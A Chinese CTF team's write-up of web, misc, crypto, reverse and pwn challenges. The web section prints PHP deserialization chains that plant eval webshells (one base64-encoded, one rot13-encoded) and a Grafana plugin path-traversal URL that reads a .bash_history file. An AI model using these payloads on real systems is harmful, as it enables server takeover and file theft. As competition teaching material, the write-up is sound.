天权信安catf1ag网络安全联合公开赛-AGCTFS战队 wp
文章目录
- web
- POP
- Ezlogin
- Fileupload
- History
- MISC
- 简单隐写
- 十位马
- Crypto
- Easyrsa
- 疑惑
- Reverse
- Checkin
- Pwn
- Checkin
- Angr
web
POP
脚本
<?php
class catf1ag1{ public $hzy; public $arr; public function __construct(){$this->hzy = new catf1ag2;$this->arr = ['pputut'];}
}class catf1ag2{ public $file;public $txt = '';public function __construct(){$this->file='php://filter/convert.base64-decode/resource=5.php';$this->txt='PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=';}
} echo base64_encode(serialize(new catf1ag1));
然后连蚁剑
Ezlogin
查看robots.txt
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3这一字符串经由两次base64解码与hex得到index.php
按照此种方法对source.php加密
但是改完又跳回index.php,发现多了一个surprise,最后就猜测出来/surprise/source.php
脚本:
<?phpclass A{public $hello;public function __construct(){$this->hello = new B;}
}
class B{ public $file;public $text;public function __construct($file='',$text='') {$this -> file = 'php://filter/write=string.rot13/resource=2.php';$this -> text = '<?cuc riny($_CBFG[n]);';}
}echo urlencode(serialize(new A));
传入之后访问2.php,命令执行
Fileupload
发现include/f1ag_1s_n0t_here.php,访问后发现是文件上传点。
简单绕过后上传文件,猜测前边需要有时间戳,在uploads中发现了上传后的文件。
History
猜测到是查看命令历史。
/public/plugins/gettingstarted/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/home/grafana/.bash_history
知道了flag名称及位置,访问即可。
MISC
简单隐写
将图片放入010查看有rar文件头,在rar文件中有flag.txt,所以将后缀名改为rar
发现flag被加密,使用工具Jphswin提取出图片中的信息找到password
凯撒解密得到最终flag。
十位马
看文件头为04034B50 而zip文件头为504B0304编写脚本
运行一次后将数据放入010hex区然后再运行一次得到文件f重复之前操作得到zip
使用montage工具拼接得到
添加二维码定位扫码得flag
Crypto
Easyrsa
网上找到了原题,替换数据后,脚本直接用:
import gmpy2
import Crypto.Util.number
import sympy
d= 12344766091434434733173074189627377553017680360356962089159282442350343171988536143126785315325155784049041041740294461592715296364871912847202681353107182427067350160760722505537695351060872358780516757652343767211907987297081728669843916949983336698385141593880433674937737932158161117039734886760063825649623992179585362400642056715249145349214196969590250787495038347519927017407204272334005860911299915001920451629055970214564924913446260348649062607855669069184216149660211811217616624622378241195643396616228441026080441013816066477785035557421235574948446455413760957154157952685181318232685147981777529010093
c= 11665709552346194520404644475693304343544277312139717618599619856028953672850971126750357095315011211770308088484683204061365343120233905810281045824420833988717463919084545209896116273241788366262798828075566212041893949256528106615605492953529332060374278942243879658004499423676775019309335825331748319484916607746676069594715000075912334306124627379144493327297854542488373589404460931325101587726363963663368593838684601095345900109519178235587636259017532403848656471367893974805399463278536349688131608183835495334912159111202418065161491440462011639125641718883550113983387585871212805400726591849356527011578
e = 0x10001
# 有 c d e 我们知道e*d %([p-1)*(q-1)]= 1 则e*d-1 = k* (p-1)*(q-1)
# 可以爆破k要得到(p-1)(q-1)
#取k的范围 ed - 1是2063到2064位 、 (p-1)(q-1)是1024+1024位 则k取2**15~2**16
for i in range(1000,3000):if e*d-1 > 2**i and e*d-1<2**(i+1):print(i)break#2063
# (e*d-1)对k的模为0
# 我们还知道q是p的下一个素数 俩者大小相差不大
for k in range(2**15,2**16):if (e*d-1) % k==0:p = sympy.prevprime(gmpy2.iroot((e*d-1)//k,2)[0]) #通过sympy.prevprime(n)得到小于n的最大素数 #gmpy2.iroot开方函数输出的是一个元组q = gmpy2.next_prime(p)# print(q)# print(p)if (e*d-1)//k == (q-1)*(p-1):#验证pq是否正确break
n = q * p
m = pow(c ,d ,n )
print(Crypto.Util.number.long_to_bytes(m))
疑惑
x=’welcome_to_nine-ak_match_is_so_easy_!@!’ y=[20, 4, 24, 5, 94, 12, 2, 36 ,26, 6, 49, 11, 68, 15, 14, 114, 12, 10, 43, 14, 9 ,43 ,10, 27, 31, 31, 22, 45, 10, 48, 58, 4 ,18, 10, 38, 31, 14, 97, 92]
flag=’’
for i in range(len(x)):flag+=chr(ord(x[i])^y[i])
print(flag)
Reverse
Checkin
先查壳
32位upx
Upx -d 报错
使用工具upxf之后再尝试脱壳
脱壳成功
题目描述位crackme且为32bit故推测位动调
动调获取关键数据后编写python脚本
运行后得flag
Pwn
Checkin
用ida64打开分析代码
需绕过atoi函数
编写脚本
Angr
Ida分析代码
依次发送0 , 2 进入system
运行得flag
天权信安catf1ag网络安全联合公开赛-AGCTFS战队 wp相关推荐
- 天权信安catf1ag网络安全联合公开赛---wp
文章目录 misc 简单隐写 十位马 Web history Crypto 疑惑 ezrsa passwd re 遗失的物品 misc 简单隐写 丢进kali binwalk 分离一下 得到一个加密的 ...
- 首届“天权信安catf1ag”网络安全联合公开赛-部分web
POP php反序列 <?php class catf1ag1{ public $hzy; public $arr; function show(){ show_source(__FILE__) ...
- 首届“天权信安catf1ag”网络安全联合公开赛-部分misc
目录 Devil's Eighty Hammer Coffee loving cat Clock in the opposite direction ez_misc Wind water turn t ...
- [天权信安catf1ag] crypto,pwn部分
目录 Crypto 1,疑惑 2,easyrsa 3,passwd pwn checkin easypwn angr chunk stackoverflow 这种9小时比赛真不习惯,连睡会觉的时间都没 ...
- 河南省第四届”金盾信安杯”网络安全大赛writeup(过程,解题思路)
目录 写在最最前面 Misc Misc-qianda0_Sdoku编辑 Misc-盗梦空间 Misc-Megmi Misc-数据泄露01-账号泄露追踪 Web Web-eZphp2 Web-EzPH ...
- 国家网络安全宣传周 | 麒麟信安守好网络安全线,筑牢保护新屏障
"网络安全为人民,网络安全靠人民",2022年9月5日至11日,正值国家网络安全宣传周召开之际,麒麟信安在这场网络安全领域盛会中,多维度.立体化地展现网络安全领域的领先技术实力,让 ...
- 麒麟信安:根植于openEuler,走操作系统自主创新之路
随着信息安全问题日益突出,行业内外也越来越深刻地认识到,核心技术受制于人是我们最大的隐患.而2020年12月8日,CentOS社区宣布CentOS8将于2021年底停止维护,CentOS7将于2024 ...
- 麒麟信安天机存储加密系统——国家密码管理局商用密码认证产品
随着<网络安全法>.<密码法> 和<数据安全法>等法律法规的颁布,信息安全受到空前重视而上升至国家战略层面."等保2.0" ."关键信 ...
- 麒麟信安邀您抢先看 | openEuler 志高远,开源汇智创未来-开放原子全球开源峰会欧拉分论坛最详细议程出炉
转自:openEuler官方公众号 2022开放原子全球开源峰会 OpenAtom openEuler 分论坛 2022年7月27日 9:00-12:00 北京市亦庄荣昌东街6号亦创国际会展中心 本次 ...
最新文章
- 汉字验证码和算式验证码
- linux 新用户 界面登录,如何在Linux系统登录界面加入个性化提示信息
- 【Linux 内核 内存管理】优化内存屏障 ② ( 内存屏障 | 编译器屏障 | 处理器内存屏障 | 内存映射 I/O 写屏障 )
- SpringBoot 2.x 整合Mybatis二:PageHelper分页
- svn Error:Wrong committed revision number: -1。
- 【SpringMVC】SpringMVC 对 Date 类型转换
- 用几何画板演示涡旋电场的方法
- getLocationOnScreen不起作用原因
- linux纯内核直接用吗,Linux:为啥内核有的变量没有初始化就敢直接使用?
- Redis之key的淘汰策略
- win7查看tomcat端口_win7
- 给玩得好的女朋友写了一份前端学习路线。
- APP测试之Monkey压力测试(一)
- 彻底理解AMD和CMD
- 进程间通信之-信号signal--linux内核剖析(九)
- java ajax文字搜素,JAVA-WEB AJAX 搜索条自动提示
- 2021年SWPUACM暑假集训day3最小生成树算法
- 动态矩阵控制(DMC)的简单理解及其示例
- RMII RGMII MII GMII个人总结
- MPB:遗传发育所刘永鑫等-易扩增子:易用、可重复和跨平台的扩增子分析流程...
热门文章
- 课程设计_solidworks_机械狗玩具建模,机械原理连杆机构运动
- thoughtworks 笔试题及答案
- Winform-TextBox实现 placeholder
- hibernate4 mysql配置文件_Spring4 整合 Hibernate3 基本使用(通过注入 SessionFactory)
- 小议AutoEventWireup属性
- Cocos2dx游戏教程(一):“见缝插针”,游戏项目的搭建
- 前端开发的时候给js css 图片等加 v
- INS/GNSS组合导航(四)卡尔曼滤波比较之KF/EKF/UKF/PF
- 两种鲸鱼优化算法 (whale optimization algorithm, WOA)及仿真实验——附代码
- 全面分析:SATA2硬盘的发展和优缺点